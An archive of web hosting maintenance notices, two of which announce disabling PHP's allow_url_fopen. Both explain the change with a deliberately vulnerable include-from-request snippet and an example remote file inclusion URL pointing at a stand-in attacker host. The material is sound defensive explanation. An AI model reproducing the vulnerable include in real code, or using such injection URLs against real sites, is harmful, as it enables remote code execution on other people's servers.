Archive for the ‘Maintenance’ Category

Sheffield - Maintenance Notice 30/01/2009

Saturday, December 20th, 2008

Brief: We are performing essential power maintenance and upgrades.

Timeframe: Between 08:00 Friday 30th January and 10:00 Friday 30th January 2009.

Expected Impact: Servers within our Sheffield facility will need to be moved to a new power feed causing around 15 minutes outage per device.

What you need to do: All customers are advised to check their sites availability and functionality after this maintenance window. While we will endeavor to check all sites but this is a time consuming task and user reported issues will be dealt with as the highest priority.

As ever, please feel free to contact us if you have any questions or suggestions via the control panel support system.

Sheffield - Service Modifications 24/11/2008 onwards

Saturday, November 15th, 2008

Brief: On Monday November 24th we will be changing a php.ini configuration option on all of our shared hosting servers which may affect your website code.

Currently all Sheffield Linux servers run with the option allow_url_fopen=On. On November 24th we will be changing the option to allow_url_fopen=Off.

The reasons for this change and its impact are as follows…

With this option enabled, all of PHP’s file handling functions will accept a full URL as a parameter and will download that page and use it as a file. This is very convenient in a number of applications such as retrieving RSS feeds. Unfortunately it leads to unexpected results and serious security problems in many applications. For example in the following simple code…

$pagef = $_REQUEST["pagef"];
include ($pagef);

The programmer intends that the pagef request string will specify a file somewhere in the account to be included as part of the main page, to be called with a request like…

http://mydomain.com/display.php?pagef=footer.html

An attacker can create his own URL and exploit this page to download and execute his own code on your web site e.g.

http://mydomain.com/display.php?pagef=http://evil.info/exploit.txt

Expected Impact: By disabling the allow_url_fopen option, this attack vector is closed off while still allowing the intended function of such site code. The drawback is that other code which might for example use

readfile(”http://feeds.feedburner.com/DilbertDailyStrip”);

to retrieve a remote RSS feed will no longer work.

What you need to do: The supported alternative is Curl which is available to PHP on all of our servers. Many popular applications will automatically fall back on the Curl functions however you may need to upgrade to the latest version of your web application. The PHP documentation for the Curl functions is available at http://www.php.net/manual/en/ref.curl.php

Sheffield - Maintenance Notice 14/11/2008

Thursday, November 6th, 2008

Closed. (more…)

POSTPONED - Sheffield - Maintenance Notice 01/09/2008

Tuesday, August 26th, 2008

Closed. (more…)

Sheffield - Maintenance Notice 30/06/2008

Tuesday, June 24th, 2008

Closed. (more…)

Dublin - Service Modifications 29/05/2008 onwards

Tuesday, May 13th, 2008

Brief: On Thursday May 29th we will be changing a php.ini configuration option on all of our shared hosting servers which may affect your website code.

Currently all Dublin Linux servers (except our latest machine web19) run with the option allow_url_fopen=On. On May 29th we will be changing the option to allow_url_fopen=Off.

The reasons for this change and its impact are as follows…

With this option enabled, all of PHP’s file handling functions will accept a full URL as a parameter and will download that page and use it as a file. This is very convenient in a number of applications such as retrieving RSS feeds. Unfortunately it leads to unexpected results and serious security problems in many applications. For example in the following simple code…

$pagef = $_REQUEST["pagef"];
include ($pagef);

The programmer intends that the pagef request string will specify a file somewhere in the account to be included as part of the main page, to be called with a request like…

http://mydomain.com/display.php?pagef=footer.html

An attacker can create his own URL and exploit this page to download and execute his own code on your web site e.g.

http://mydomain.com/display.php?pagef=http://evil.info/exploit.txt

Expected Impact: By disabling the allow_url_fopen option, this attack vector is closed off while still allowing the intended function of such site code. The drawback is that other code which might for example use

readfile(”http://feeds.feedburner.com/DilbertDailyStrip”);

to retrieve a remote RSS feed will no longer work.

What you need to do: The supported alternative is Curl which is available to PHP on all of our servers. Many popular applications will automatically fall back on the Curl functions however you may need to upgrade to the latest version of your web application. The PHP documentation for the Curl functions is available at http://www.php.net/manual/en/ref.curl.php

Sheffield - webform 20/04/2008

Sunday, April 20th, 2008

Closed (more…)

Sheffield - Maintenance Notice 11/03/2008

Tuesday, March 4th, 2008

Closed (more…)

Sheffield - Maintenance Notice 03/03/2008

Monday, March 3rd, 2008

Closed. (more…)

Sheffield - Maintenance Notice 08/02/2008 through 11/02/2008

Tuesday, February 5th, 2008

Closed. (more…)